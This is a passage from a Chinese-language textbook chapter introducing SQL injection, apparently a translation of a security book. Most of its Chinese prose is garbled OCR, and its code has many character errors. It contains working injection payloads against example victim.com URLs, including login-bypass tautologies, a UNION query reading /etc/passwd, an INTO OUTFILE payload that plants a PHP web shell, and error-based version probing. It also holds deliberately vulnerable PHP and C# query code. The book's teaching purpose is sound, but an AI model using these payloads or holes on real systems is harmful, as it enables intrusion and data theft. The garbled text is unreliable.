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IR R

HBAZIERE, RAIEEZ TR RMERTE/ENG 7. MBEEREORIE,
MEHE AT FHER URL R25EAEH /)5 P AT A &R T$100 A9 &

e http://www.victim.com/products.php?val=100

FE

A TRFRT, RAFEPH URL FH)1EA 692 GET 4L 4E POST A4k, POST AM4tk
Atk 5 GET —#HE 5, @S E2AR LR F, AT E5 T T L. Web 7 W 8464 X A B2
RIZFLS.

XEEAZ L AMASE val FA B 2 SQL 4. W@ URL ¥ INF-F 5 'OR '1'="1
KLU A -

e http://www.victim.com/products.php?val=100‘OR ‘1’="1

XK, PHP MIZAHIE AT SQL iEA1E AR MR B EHE FE P AT E B R, XEE
RABRAMES T EHSE., BNHEDSHE AT OR BERKZREIEED 1 ATET 1),
M B FE S R . TEEREEFPITHERIER):

SELECT *

FROM ProductsTbl

WHERE Price < '100.00' OR "1'='1"
ORDER BY ProductDescription;

TE:
Tilid $ A &R A A SQL ENRFAME LALLM B 69, HE AR5 TEF HERHT
RBEMAE F AT R AR A%, AR, TLLB—NRFAEER K FGHI BRI,

WEHF FRA T REHRYHSCERN SQL BEHMNERE, BT RERIFSHN
BSHHIN, FEREREIRAT R FF R B R FULBUR 8B 4T BT R fE. A, ERRBI5F R 315
XFRmEME RN, BNABRFMAEES T EEEPRHTE RS BAT40TMEH N A B#
BRI ThEE R G SEEIZ B Y. (BR8] BL#E A CMS(Content Management System, A
EBARE)RATERER, SHIFAWER? CMS B—F Web N, HITH Web 3301,
G, BBERMANE. EHAERMGHEN HTML FiFEAR T EaE fe it T ewmi%. vJ#H
FIE R URL 59 CMS .

e http://www.victim.com/cms/login.php?username=foo&password=bar

FEVT )% CMS N IIThREZ 7T, TERMERAOH 2MO4 . Pia Lk URL B4
W F44iR:  “Incorrect username or password, please try again” . T[4 login.php B A< #4085«

// connect to the database
Sconn = mysqgl connect("localhost","username", "password"};

// dynamically build the sql statement with the input



$£1&% HaRsaliEA 7

Squery = "SELECT userid FROM CMSUsers WHERE user = 'S$ GET["user™]' " .
"AND password = '§ GET["password"]'";

// execute the query against the database
$result = mysql query($Squery);

// check to see how many rows were returned from the database
Srowcount = mysgl num_rows (Sresult);

// if a row is returned then the credentials must be wvalid, so
// forward the user to the admin pages
if (Srowcount !=0) { header("Location: admin.php"):}

// 1f a row is not returned then the credentials must be invalid
else { die('Incorrect username or password, please try again.')}

login.php MIAZNZAMEIE T —4% SQL E4H). WRWMAILKEMAE - Z2RN04, EkigEl—
MaFE. FHRMEMBEER VLI 1 PHP MAHE H AT SQL 1EA]. R A K user F
password fI{E5 CMSUsers P AAEFIMEAILEL, T4 ZEEWIEIRE 5% F XN F) userid.
SELECT userid

FROM CMSUsers
WHERE user = 'foo' AND password ='bar'

X BAREG i) ) EAE TR A 7 R\ A AR AR $0AT B A A IR [T A e B 252 0 38 1. 7ERTTOY
SQL FEAREF, BAMER T ol FH R RE D SQL AW & L UMEHIGLRE . iR
Xt CMS N A AR R BB R, R4 % S BOE P2 8 M. 17 F 1 A9 URL R INEFF £ OR ‘1°="1,
XK, i PHP A fiE P47 H SQL 1B 144 & [0] CMSUsers #4145 Fi F 1€ userid. #7ff] URL
oWk P

e http://www.victim.com/cms/login.php?username=foo&password=bar ‘OR ‘1°="1

BATEI B &IBE, RET AN userid. FMNKIEN FHA WM OR AR KT
BEIFLED 1 AGEET 1), AMHI T XS R. FEEWEHITHIEREN:

SELECT userid
FROM CMSUsers
WHERE user = 'foo' AND password = 'password' OR '1'="1";

BB 4 R PR B AR B B e d %, AL AU N IR RV RAELE S, HFERFHERGFm V)
i) 32 £ f] admin.php B . A TEF Z1EH CMSUsers £ PR — MR ERM. SQLEA
U RT LA BRI A N 2 4

BE:

TREJAFAT Web LA R A G F A LR TH, BRAF 2 A KR GAIA A 6434 T (RS
RPEHX). £LE, #ITHLEHER 1986 F CGTHAMAE L5 EAM %) (Computer Fraud and
Abuse Act of 1986)(www.cio.energy.gov/documents/ComputerFraud-AbuseAct.pdf), 2001 4 (£
E & E# 5 %) (USA PATRIOT ACT of 2001)®i# 2lA424F. AXE, MEBEER 1990 F46 (it
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J AL A 3% )(Computer Misuse Act of 1990)(www.opsi.gov.uk/acts/acts1990/Ukpga_19900018 en _1)
FaifiTit 64 2006 H-49 (G ) k5 %) (Police and Justice Act of 2006)(www.opsi.gov.uk/Acts/
acts2006/ukpga_ 20060048 en 1)f il F|&iF, wwRIEEFRIFRY, MAGFLEIET KR
ke,

E2=H

BEEFERFERAERAFAELRD BN Z BN IMNER ZELX - -RE5XE
A, B LUR A TF B S HE I £ 34 £ DA B SQL AR M Z BT s D2 Ffa# .
Fit, REEEGEE RN LSRRI B 2 S4B m kb — N5 R R TE . B
BEB/NOBR(TREZ AT — HE AR ZM), RAEE RSN Tk,

Hae AR AR R TT LIS B EE A SQL yEN RS\, Blin, AR EE 4
CVE(Common Vulnerabilities and Exposures)f] Web 34 g2 FIREE T — RF| L 2R A HE R,
B 7T R A B d) M R4 —ar % . CVE K B2 EARRFEER(CR., siREMR
)R BRI E AR EE AL . %W RO A RIS B R 2 s BN g T .
7E 2007 4E A9 %5 4 (http://cwe.mitre.org/documents/vuln-trends/index.html), CVE L3148 T H ¥
FEER ) 1754 4 SQL FEARTE, 1 944 A~ 2006 FEH . SQL EARIHAE CVE 2006
ERE P FERIFA$ S 13.6% (http://cwe.mitre.org/documents/vuln-trends/index.html), K T 5
S ACXSS) R, (EHETESE ph X E TR AT .

WeAh, TS F 224 R 4H 21 OWASP(Open Web Application Security Project)ZE H 31|21
2007 4E 10 KB FATHIEH Web N () %2 23T T8N B (RUEE SQL HEMENSE K
. OWASP #25H 10 MRRAFEHRRIEFRA R Wit A S Wit MMAL T R EH W
i) Web [ 2 20 BT A= E . OWASP 2007 FAT R 10 K& ARF LY CVE $iE i
ITRE T FEIC 4R A . 8 CVE ¥ sk #/nH £ /0 Wik 2 35 SQL v A\ B i ia] B2 1% B0
FoIERFE A B X SRR . CVE R AZ MR LA TR N A vh R DL R EOR, B
o ik R WD S X e R P AFAE IR B . S B DR R RERE

BAVEA] LAS % HoAh 4 | 8 2R Web 3 (5 BB TRt SR, #lN, Zone-H 2
—ANRATI 11305 Web 35 AR Web 3, 1%k sUR R 1) LAEREA th 3L el R A K
SQL ¥ NIRRT 4 B % M K B35 44 19 Web 36 R Web NiA]. H 2001 42LL3K, Microsoft
B89 K Web 36 8 DL IR 46 W(HEE ¥ £). 0 LAFE Zone-H b 74k #5552 ¥l B i #) Microsoft
i A5 ) 52 B8 51 # (www.zone-h.org/content/view/14980/1/)..

fe e AR TR RE B ROK ) B AL R BUE 2 & B e R B0, UILR ALY mB|FE RN ERAR
ARHd. TFHECHRER—LH PR

e 2002 4E 2 H,Jeremiah Jacks & F Guess.com(www.securityfocus.com/news/346)77 £ SQL

VAT MEG 4 />3KET 200 000 4~ P45 R1E BRIV

e 2003 4 6 H, Jeremiah Jacks R Eah M, XKW T PetCo.com(www.securityfocus.

com/news/6194), Atiifid SQL HEANBRFAIREL T 500 000 A P {5 H R 15 BRI VT FIAL -

e 20054 6 A 17 H, MasterCard AFIL(EHEREFEM LS, FET HAZIWAK

iz (s B R SR AR ROA P BT ER K. BEFA SQL EASIEIRELT 4
T I 345 R E1E BT A (www.fie.gov/os/caselist/0523148/0523148complaint.pdf) .
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.zWﬁﬁmH.amMm&mmmmmmmﬁﬁmﬁﬂ~ﬁﬁﬁﬁﬁ&m&Am%
R THEIEERS %S(www.ﬁc.gov/osfcaselisthGZ305?}’0623057c0mplaim.pdi) , BE
3800 L A LR M E .
o x%mmﬁﬁuﬁ,%aﬁm$§ﬁnxﬁ%£&$,%%MﬂXﬁﬁE*ﬁmTi
BHAZZMNEFER.
CART PR ZREIR Web 3 5% Web R T 55 H A B 2 41 ST SE (LM s 4B 5
B RS R), RRAEATRIE B R R % RS 2 i B A4 BEEREL S Web
NFHERRRE ERN T MBS E3F. 244 Internet EERE KR BERALI A AR G,
HPaERRHTFHHEARKITRM “2ikr CEMBAREMDA, ST FREEHFELLL
REFRENRFELAL, FMARALUS HIBURIESI RS T LU PR AR s FREU
AL LB R AR H MR TRREEE R . Web 35 55 Web R S #— SQL AR
TRE H AR A B L H AR

GRS T

RMETFSELEERS F, 2m?

R EPEILIRS Web B A, FE Pl 3K, 64 51 ) YREAK =52 — Bk % SQL jEA
K&, BRFFTFERAOY 0B LR RHR, 12 AE1R % @E Internet 495 A F 3.4 £ %6
B, REERRELETEENOREF, Pt R 223 I R 345 49 Internet. $E3K Web 35.%.
R FE . RIRGITH, Bk )T B RAT AR R LR 4Gt S e
MF &S, RAREIERER LD e TR ALY TE T A REE. T2
%9 EAH KK, %A SQL EN i R IRIA B R G445 PR BT R AT £ T 47
ﬁﬁﬁ.ﬁ?ﬁi#&%ﬁﬂiﬁ%m%ﬁ%&ﬁﬁﬁﬁ,Eﬁ%giﬂﬂﬁm$&¥
BAERES. HEME A Web SRR AT AR T AAAN 6 % .2 372 Tak A1)
RAESALHMARTRECHERMAT B4,

2008 SFAFBIES, B+T7 Web 35 2B B —F 3 SQL v AT MBI . B —
LA Internet LHRFAEMERFAWNE . WMRERAT HERANIE S, R TS H3hF A
R o 858 TR B8 (payload) 2 B, EHAT—ATEK SQL 18335 & i 72 Hodig e o
HP ARG KR, REHBRNE S REARNIRGE N cAFIH, BT R HBEEE
W) Web N5 P H03 e o (9 MR R BN A M Web M7, AT AR LS RNS ZfaH
) Web 3 BRSO 7 o BRAE (tag) &4 7R3 WA 38 1 32 A ) Weeb BUE, MTTPAT TR R
%2 LRI RMAA . XFATH I H MR IZBE R B E £ 4. XE—FAEE RS
KA. EERB R BRI R S BAERRAAT ik AR) 3 523 K X b
Bty AR FUR e . TR AHEYE I S 5 P A T B B S0 SR I R P R RS I B SR T
BRBBIRCH R LR K FPNE CE XA BRI AT H FH B 45 .

L AERREN LR S BATEF H4EF A SRR,
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1.4 I SQL EAK T A T4

SQL £ 1Jj ] Microsoft SQL Server. Oracles MySQL. Sybase 1 Informix(LAL B FCAth) &
MRS 2R HEE S . KE 4 Web N AHEHEE SEIEEHRITZH, I HRKZH Web NS
E (I ASP. C#. NET. Java fil PHP)XJ4R L T vl g2 0 5 iR 5 8O FEAHE H T H. IR
Web N FH 7T & A B i TR 465 M\ Web 5. cookie I A\ 2 E W B WH{E A58 25 SQL B HI(i%
ORI E RS 2 LT 2 il Cext KT e, MAEFE < HI SQL HEA KR, Wi
B # RERS I RIX 4y SQL TR, JF EHAEUE BRI M A\ A SLARAT 0 ARAS T IR £, AP
A BEEE AR REF BE N TESS & R EPAT 2R .

R EARE S WRE TREANFER T ZRMEMHIT SQL B, FRARBEEGENH
XEFHEKERAFF HIR. B2 Web b R4 T HBFEACID = 515k 5 BY N R I & A R g ik
WD A B, EXEHRRM N AEEREEAZERmISEE, T ERF AR %
ik BN B R A R ANEERA B RIS A R e 2 E M R BIT T RN
WENZEWE, BAmfHEHNEEE—RAZEN, BZE SQL EALEL.

1.41 HEHTFEHS

MERE TR R —FREDAR, EAWFTREARESTELRTZEMIE SQL EH. JF
BANRELMEMZIZ SQL REZBEAH .. RIEXVNA . 3h%& SQL HRRERT IR PHIER,
ERBEARKZMENRK SQL HH. MIFRA REBITILREF HERE AR K I PRAE
MR E R4 FBr(Wl SELECT E4)), BERBARMFARIEFAFOERRE, 380
i SQL AR EH .

Anl, mFEFERSHALERKE, FRARTUUEZENTABRMHRNLSER. 8L
AR SQL IHEAPEE I EREMMMASENEN. WUEBTERT S HERGIXLE
B BFKRAZIR B NSEANSBETR G ST IAT, T1EREAFAEREARIHL
2. P S HIRAF SQL i A #77i% R A 1T R M BAR RV IEFF AT SQL
FIRGHE B RR HE NG E.

T PHP AREGRE/R T R R A R R R MK B3I AHiE SQL F/F i f]. &%iEN)
MEEREERIR PR EER . BRI 2 TR R FD R M A P A ERIR MR

// a dynamically built sgl string statement in PHP
Squery = "SELECT * FROM table WHERE field = '$ GET["input"]'";

// a dynamically built sql string statement in .NET
query = "SELECT * FROM table WHERE field = '" +

request.getParameter ("input") + " * "

% LI AREHESNE SQL AN M ER: MRERMAMEELISRBKIERZ, K
SIS AT WA BRYRES, A BUTi# 4R SQL AN MARAE N H H 4 SQL iE ffkifisy
PR EMUAPAT . TR LRSI R SQL EH:

SELECT * FROM TABLE WHERE FIELD = 'input'
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1. X FHAERY

SQL R B5|5FHF( VRIS S ER K k. B RFISHMRKARTHRE
T BIZTHARE, MARSISSIERMNAFYREGE. Rk, %R RHE URL 5K Web T
(BN FERFMA MRS, BAtRE R Web 3 iR B 222 SQL AR H. T
TR — R T R BN A AR, TRAPRAERABRLFALIEK SQL E4):

// build dynamic SQL statement
$S8QL = "SELECT * FROM table WHERE field = '$_GET["input"]'“;

// execute sgl statement
$result = mysql query($SQL};

// check to see how many rows were returned from the database
Srowcount = mysql_num_rows(Sresult};

// iterate through the record set returned
Srow = 1;
while ($db_field = mysql_fetch assoc($result)) {
if (Srow <= Srowcount) {
print $db field[$row] . "<BR>";
Srow++;
}
}

MR — N RG| S FRAAZRFRMA, s B TFISRTE—F. BEHBRA
MEOIRIRTREHFHHAR, WNRERES . FANBEREURRANRPABEEER.

Warning: mysqgl_fetch_assoc():supplied argument is not a valid MySQL result
resource

BAVERTRESW R T HIAIR, XEERBO T KT WATH1E SQL BN ARE R

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near "“VALUE"'

HILZEE R R B B5| 5 F R T 2R RSB, BITEHATH SQL EMTEEE
FHREHR(EVEZNFRB TR, FUEEEEMERE . SQL BEER RS SFHEE
BT (FHRIRRE). 7€ SQL EABEGY, BEhEFAZFER “HX” ARARKER
VB E OB W IF I ABRAT .

BE| SRR TP, A Oracle F, ZH( ). EL( D E5() &
S CHULEXGISER/R( “)OBWERRHRS X. .

-- The pipe [|] character can be used to append a function to a wvalue.
-- The function will be executed and the result cast and concatenated.
http://www.victim.com/id=1 || utl_inaddr.get_host_address{local)--

-- An asterisk followed by a forward slash can be used to terminate a
-- comment and/or optimizer hint in Oracle
http://www.victim.com/hint=*/ from dual--
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2. BB Y

FHE ML, BEHFTRRIAEBRE SQL HEAFA, HFT3HMABRTRIE. WMk
SIS FHREET . TL, BE Web NAFARARCERNIXPE—FEERR. RIINA B
i, B5|5FRHSEMBITRTN BRI ENRB SRR S fk. SHEEFHREN, A
HEMA RS SRETFHRRSIER, BN, BFBELENEFRHRLE,

Tl — N EER RN A REAR, TR MAERARAHELIEN SQL B,
EHAZR AN HTF S (Suserid) I B RiZA P HER. BEZTHANSEELEYE, FHtS5H
BHREBH ME5]5.

// build dynamic SQL statement
$SQL = "SELECT * FROM table WHERE field = ‘$_GET["userid"]"

// execute sql statement
$result = mysgl_guery ($SQL);

// check to see how many rows were returned from the database
S$rowcount = mysgl num_rows (Sresult);

// iterate through the record set returned
Srow = 1;
while ($Sdb_field = mysgl_ fetch assoc($result)) {
if ($Srow <= S$rowcount) {
print $db_field([$row] . "<BR>";
Srowt+;
}
}

MySQL #ft T —/ 4% LOAD_FILE HIER¥(, ‘B fe LB 301 300 P 24 749
R[E]. BAEH ZEE, SORIEERIE SR FRIRERE B ENL L, R ERMSE
EAMA S H ARG RE . MR P L0 B4 FILE BUR. 8% T 5iEaE S
A BABdiE E &R ete/passwd IUFFHINE, ZXHHEERGHP ORERFAP G-

1 UNION ALL SELECT LOAD_FILE('/etc/passwd')--

BT :
MySQL £ &4 —ANA E/4, TRAEAGASRLNELAEHHRTERE, ETEAT
5] 4r4-1%) Web 1R B F 5 A —A Web shell vA{# 3% —ATi 42 & & 45 9] 49 Web shell:

1 UNION SELECT “<?system($_REQUEST['cmd']);?> " INTO OUTFILE
"/var/www/html/victim.com/cmd. php"--

483147 LOAD_FILE #= SELECT INTO OUTFILE 44~, %% 343 52 /A #74#% 6§ MySQL /A
P #5LRAAA FILE ARFR(FILE & —F 5 22 RALFR). #l4o, root A £ JEBIAH ST IMA iE AR,

Wit E A ERBMRTR T SQL VA, FTUMEH ML EAEH A58 FRRE XA,
U SE HNIE T B T #4935 SQL B 4):
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SELECT * FROM TABLE
WHERE
USERID = 1 UNICN ALL SELECT LOAD FILE('/etc/passwd')--

3. BARAETRH

ANFEMEAZZE SQL AR R LN TR, FAERFIT R BT EHER
MEEEWNRRNEBR(EELAEE). LS KEEBETEHMNA, XEHIEEE e R
R PIEEEIE . Bl LB —ANA, EIRE R TN R ZHSE. B8N R T E %
HEBEE D& 2 A BEs st n 2008 45 1 H, H# A4 employee_employee-id_01012008)
HWAZFRIRT . Web FFR A N ZSCRARE E AT H RS SR EHIEA.

THER AR R AN A IR, SRR FSAERARSSIEMEK SQL EY,
BB T R B AN EREESNEAN, MAR—AREN=EAEL, 26
ErRATHER. ZEFAFA P EFOABREIHERE. #ln, APATUEE PR ITHEE
HT/EHE., HTHE®RM AR,

HTNHABLETRA, ENFXARSEEZEE. Nid, SEHRUeT8m /- B,
FEh e GET WRIBAN . BHA A B SRR 7B sk 8 857 BT = 4 M.

// build dynamic SQL statement

$SQL = "SELECT $_GET["columnl™], $_GET["column2"], $ GET["column3"] FROM
$_GET["table"]";

// execute sgl statement

$result = mysql query($SQL):

// check to see how many rows were returned from the database
$rowcount = mysdql num_ rows ($result);

// iterate through the record set returned
Srow = 1;
while ($db_field = mysql_fetch _assoc{$result)) {
if (Srow <= Srowcount) {
print $db_field[$row] . "<BR>";
Srowt+;
}
}

R E B HTTP iFR I users B #eK 4%, #H user, password 1 Super_priv F
BEHENAFEMSIZ, BAETURRRETREERFAHAFZHO04. THEMBER
FH 3 F BF #9385 ) URL:

e http://www.victim.com/user_details.php?table=users&columnl=user&column2=password
& column3=Super_priv

WRFENBRT), 2K 2 IR TSI BRI AR [ ZHRE . BRI R — RIS BT
BFR SR N A AR LU T MR . RE LA 1L — KRR R E Do
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it B e e Fommmm e +
| user | password | Super priv |
Fommmm e e Fomm e m e m e +
| root | *2470COCO6DEE42FD1618BB39005ADCAZECIDIELS | ¥y |
| sqlinjection | *2470CO0C06DEE42FD1618BB99005ADCAZECSD1ELY | N |
| Owned | *2470C0CO06DEE42FD1618BB99005ADCAZECODIELS | N

Fmmm—m—— - e fom e +

4. FWRWELH

AR ML Web S AMRIBE AT TEAERE. BH WA 1) R R VR4 I A e
R B NEARER . RIS BRG A F BGEE . X B iR AREA N ZE7R
HISCEL_E B4R . XSRS AR AL S B ARG PR R E R R K. B, WA
A FE VR 4 PO R A R R R R B A T 48 S R i N KRB FF T R R BRI B, FF A&
{7 4R G 048 E LA (B B H BRI O B R E I T R R R R E B -

THEE AR EER CHES RS ASP NET MA RS, E{FH Microsoft SQL Server
M AR S5 2B 0 S & (BN SR R T R A KA RHE). B N TRFIRP L
— AR PARRTER, AL EIHPAT % SQL EH):

private void SelectedIndexChanged(cbject sender,System.EventArgs e )}
{
// Create a Select statement that searches for a record
// matching the specific id from the Value property.
string SQL;
SQL = "SELECT * FROM table ";
SQL += "WHERE ID=" + UserList.SelectedItem.Value + "";
// Define the ADO.NET cbjects.
OleDbConnection con = new OleDbConnection (connectionString);
OleDbCommand cmd = new OleDbCommand (SQL, con);
OleDbDataReader reader;

// Try to cpen database and read information.
try
{
con.Open () ;

reader = cmd.ExecuteReader();

reader.Read(};

lblResults.Text = "<b>" + reader["LastName"};
1blResults.Text += " ," + reader(["FirstName"] + "</b><br>";

1blResults.Text += "ID: " + reader["ID"] + "<br>";
reader.Close () ;

}

catch (Exception err)

{
1blResults.Text = "Error getting data. " ;
lblResults.Text += err.Message;

}

finally

{
con.Close ()
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}
1

a1 R Z AR HTTP 15K 2158 E O/ SQL TEUR B ST 1D &, Wwr LAEH
(= B dEE Ay SQL AR BoRIKEEUE M. B, WRBEHEFRMA THER, Bail
17 SQL EHyAT & BonfE R EAEE KM SQL HitiHE, HHEE T Web N FTE A 9 RDBMS
A : .

' and 1 in (SELECT @@versiocn) --

BAKATACTDH ST AR 7R, (BRI B XRE AR M, Bk
AT LUE R AR BRSP4 ELFANABGEE A WAESARNNE
K. TRERRREKE RSB

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server)Syntax error converting the
nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Inter X86) Nov 19 2001
13:23:50 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on
Windows NT 5.0 (Build 2195: Service Pack 3) ' te a column of data type int.

5. ETEZLIERE

(14 #.(white listing) & —F & T B8 2P OFR4L, L EHEE T RMRA. T RIE
SN[ 1 48 B 07 i R R SE N B — A VR O E IR, IXRERI RSN St T R
MEIEZ . @i 5 24 5 (black listy B A R 1 & 87775, B4 ¥ (black listing) & —FER
TR &R A, EALE A AV IEAR . AT RARSA M B 4 LR R AR e
B BT 0 R S B R AR IR S A I E R . BRSEp FRAE AR & M Bt 2R
B, SRS LA RO R B, AR P SR A TR IR E RS ERAW
B2 RS ERR R & XFRM R R BT B M PR EE SR 71—
Fhel 2 R AT R FoR T .

ST Web FFA T H & HBLXAER B : A R A RS MMAEIXEE O MAEITRIE
THEABTFRA RN R . W FFFRAR . BIBAEE AR KL, HEsr TR I AL
W, BRI E A ASBREER . S, EENARSRT, %R
FHARASHAT T RAE, ARFRTRIE, RERAEDBOTRA RS LRIENEA.

5 F FF S N\ R AR ) F RS R P ok v A, AR T RS A B AL B AR R 51 T
L UCh AR TR R RB R IE . i, 2P BRI RARAT R A
RER, MMSHMER P EEETRTE—ANE-ARE. BxhLE, EEEZKN URL &
Bkl sk dE, AEesIEE A S B I BUN AR . LL FEDXA A R R A

// process form 1

if ($_GET["form"] = "forml"{

// is the parameter a string?
if (is_string($_GET["param"])})} {

// get the length of the string and check if it is within the
// set boundary?
if (strlen($_GET(["param"]) < Smax) {
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// pass the string to an external validator
5bool = validate(input string , $_GET["param"]);
if ($bool = true) {

// continue processing
}
}
}
}

// process form 2

if ($ _GET["form"™] = "form2"}) |
// no need to validate param as forml would have validated it for us
$SQL = “SELECT * FROM TABLE WHERE ID = $ GET["param"]";

// execute sgl statement

$result = mysqgl query($SQL);

//check to see how many rows were returned from the database
Srowcount = mysql_num_rows(Sresult):

Srow = 1;

// iterate through the record set returned

while ($db field = mysql_fetch_assoc($result)) {
if ($Srow <= Srowcount) |
print $db_field[$row] . "<BR>";
Srow++t;

}
}
1

ZMAMIFRA REEEEE —ARPEFERIERA, BAE I RELCHITIWMAR
WET . HEFEFGAEARE A RAMEEZAEAR AR, AEMAMARE - IRERETH
BB, RERPBERSE _ARERTOLESR. TERKE - URL 2RM B EERIER
Ao B A URL W£51 R M SQL AL, KABMARIERIE:

{1] http://www.victim.com/form.php?form=forml&param=' SQL Failed --
[2] http://www.victim.com/form.php?form=formZ&param="' SQL Success --

142 FTLEEPPRERE

AT LUME FRAR £ 77 R0 AT B B U7 . AT 4 57 IR BRI B B . R R BRI Uy 1) 2 5
BAK SQL SEABEFT FBMBA . RIENARBMZEREEMS, BEFRENERES
HHi%s, BEEHEREIANB A HEZENE. SQL Server S LBHEN “sa” 1EHE
WERSGEHAMS, MySQL i “root” 1 “anonymous” HIf*#&/, Oracle W|7E 12 EE
FebT @ # BRIAS B3 SYS. SYSTEM. DBSNMP il OUTLN K/ . iXedfEafaik, B
RSB AR PR—Ea0, EHRESEMK, . HhkK, REZRATRETRRE, O
LT S.

L RGBS R A e B3 FE R 45 88 B A F LA root. SYSTEM ER Administrator
R RGH P K GOPATERME. MR L@ P 56 (R 0] BEAL T 5 SUR H AR
EATIR B BBOLH R BIEFRS 3R MRS, CAELE SR Al 3 BT B J5 7T LA 2D X 8 E R 4



#E1E fH4RSaLiEA

FEAGHEABERR. Ad, X%T Windows FH Oracle #HEZARaI{TH, BN EHIHmLL
SYSTEM M fRIZT -

AN [FI 2B B R R S5 B HE 0 1 B SRV RIS HIERL, 10 Pk P 2 Re 2 AP AR R
Bk, M. BINL CRREORDRRIE) A BEEEIERE. DRSS ERHAT . AERRAHIE
P i 95 28 BR DA S A8 0 ) 5 SR 1B R B8 4 i # 1B T Th BE(xp_cmdshell. OPENROWSET.
LOAD_FILE. ActiveX PA& Java XH%). 3 4 TEH 7 THF4 A AE SUX LT RERSFE Y
i,

MAFRARERSEFRMN, BEEFERENNENBRIKS REESEE, mMALER
WERRF R IR B E R K . XL RETE X0 B K 0] DAIZERORE R TR £ 5187
TRF LM . S F R NP E SQL AR HF AR P OEESIEER, b
DAZE S8 b %0 7 B BUR B AT A0S . Web N IF R A BN 5 ¥ FE P 2 R R D4, LA
RUERE - B3R PE 7 19) 72 B A BRAR AL FOZ AT, (BB Re At X 2 Fe i Th R o 75 SR 24 Hh 4 BE 424X
A,

FARNG S F, N S R A AN R R 303 FE B P R AT SELECT. UPDATE. INSERT K%
A4 . X%, B s RIS B 5 R W iES], IES R 5
K. BT ZENRIFRBITRRS S, BB E 8% 6V B E N TE dE, 3+ B4
# SELECT. INSERT. UPDATE. DELETE. EXECUTE F Sl AUAL PR . IX &by i A R
B E A BIREE B, U7 )8 R BB AT X R

Aid, LB EARBAR, BuEATE T WA AIRERLE I In A 2. HATHLAS 2 T s
MHEAR . FFEME ALK R DL R B AR S| AR 7B BEhE7EFRA SQL HEARHE, i

SERTRIBWEENTCEE. CEEERBEEATAEHEE, LmBIEERRNZRK,
BRI HE SERY SR U5 1A AL PR o A A 18 P 3008 7 R0 R 4t H RF HMTUR R 28X 15 B . MySQL
A% 28(5.0 RZERIRA)F T F INFORMATION SCHEMA fEHI¥EES, a7l
SHOW DATABASES M1 SHOW TABLES 14 14 . BT#5 MySQL H /7 #4585 a) % 838 FE = i1y
x, BREBEEFRPILSZH U B ERAIRT Y X R F4T. SQL Server A 5 MySQL
21k, W@ iE INFORMATION_SCHEMA EX % 4i & (sysobjects. sysindexkeys. sysindexes.
syscolumns. systypes %)% (88) R A7i& i PR Vi ia) ST H(HE . SQL Server 2005 5| A T —#4 2%
“sys.*” B EFOE, FHREHF R EEV R3AE AN AR R . B SQL Server 1 P
BT BARE P R T UBEFRPWOFHIT, MAEHFREXNRSTERNSERE
AH R 7 ] LR

Oracle |t TR 2 /F KN E M B KV 19 Oracle K Jt $ & (ALL_TABLES .
ALL_TAB_COLUMNS %), XEX B H T 477 P ol Vi) K PERIxT . stsh, Bl USER_
FFL MM B H B ST A Xt @i, 2R THERE): L DBA_JFLHALE
BRBEEF AN R@II, BTERER EAZARKER/ITEEMRE). DBA_JTH
R EHYER S E R(DBAYBR . R IXLEA) 7R

-- Oracle statement to enumerate all accessible tables for the current user
SELECT OWNER, TABLE NAME FRCOM ALL TABLES CRDER BY TABLE NAME;

-- MySQL statement to enumerate all accessible tables and databases for the
-- current user

SELECT table schema, table name FROM information_schema.tables;

-- M5 S5QL statement to enumerate all accessible tables using the system

17
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-- tables

SELECT name FROM sysobjects WHERE xtype = 'U';

-- MS SQL statement to enumerate all accessible tables using the catalog
-- views

SELECT name FROM sys.tables;

iifi:

18R BRI 2T MySQL #4& & F INFORMATION_SCHEMA i #4038 & 6435 19 & R 9T 4%
89, AR AL R RIRH 2} Oracle 2048 & F 4048 F #6437 9 (B A € £ —AME), Telil it
HALE R ATiF FAmA R, 12 Oracle RARAZX A4, “ToABIN*t SQL Server ¥ 4% & ¥ &4
INFORMATION_SCHEMA. system #= sys.*& 6917 9], (12X LNk &b FHH5 5K
BRI BN, BAFEGRRR Aok R A B 8538 A 984T — N BURARAR R, FF
At AR A AN E RIE LSS BRRA L.,

15 AF )4

W AT, FER| T 5% SQL {FAMBEE, MRS RIS~ 2T &K A R1T R LA
RAEF RN SR P E ARG . BRAHE T 48THATHE E@ E)Web N AL H i
WEENHEIEENFMEZE, R 5SROI E WO Y A LA RO
BOHATRE M. FABETR T hAF R R MEAEFEA SQL)LA ¥ SQL HHAE K 1 F
frE S M PR A R ERIE. XS T1R SQL AN, B ABE# AT LMEM SQL #
WHEZEASGH, #HMRITEEETFRARYENEREEMS.

BATHES mAE B30 SQL iFAN, AMU¥ S SQLIEAREIAX (5 2 E
3 #).SQL {F AK i Fl SQL iEAHIEFEGE 4~7 ), ¥ 3 ot SQL NS ATBI (S
EMIZ 9 &), BJSTESE 10 %, RIISPLHBEHENSERE. BRI SRR RS
PERBITEIE R

BN Z R B LR AR T, XA REULFE N SQL AR S BRI = A R AR
HRXEGIAE, AEELETEREP TR, FIAHBEE SQL IEARIBIBIERE.

1.6 HRkMBrFE

. EBfE Web Ry TR

e Web AR —M A Web ] ¥ 28 Hif it Internet 584 S5 0] (IFEFF . ERIGHTER—
Foh (i A 00 3R BT SCRETE & (W1 HTML. JavaScript. Java 2948 5 Bt S HL B REF, 15
BhYIE I Web B 588 5k 5 BN R PP 0 T AT S04

o HAMBIEERINENA Web MABHEAE NEAEEERNBRE RS mMA
) Web U, IX4LLRHIA T 2 H B A BCHE FE CBOHE P 1k B S [ 1 28 LT S8 ) R BV
EE B RmEESHREMARN.

o FEAMBIEERFNMENE Web MHAERE =2 RREWeb ¥ K28R 5 %).
ZHR (N C#. ASP. NET. PHP. JSP 4w F2iE &) {482 (0 SQL Server. MySQL.

-
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Oracle S ¥(3E ). Web N4 (R ~/2, Internet Explorer. Safari. Firefox 25)[n] 5[] J2
(BEE)RIXER, Pl ZEi 2. R BIE (s ) m  iig ok .

2. #EfE SQL EAN

e SQL AEANE -l SQL MIEIHA RS MBI AE M ASH T, ZEFHEXLSs
B4 Im 6 1 SQL AR S5 28 0 LA AT 347 i Bk .

o SQLFEAMEENTXRHEHRBEBAZSE R, ZLESHLPEN SQL o himel
AT

o WihiHAESES SQL EAURS, HBEREK ST fr & ML SR AR S 88 . N R
% 355k Web 55 28 A R FOALRE, %A BRI 3 R 51R /.

3. R SQL FARFELE

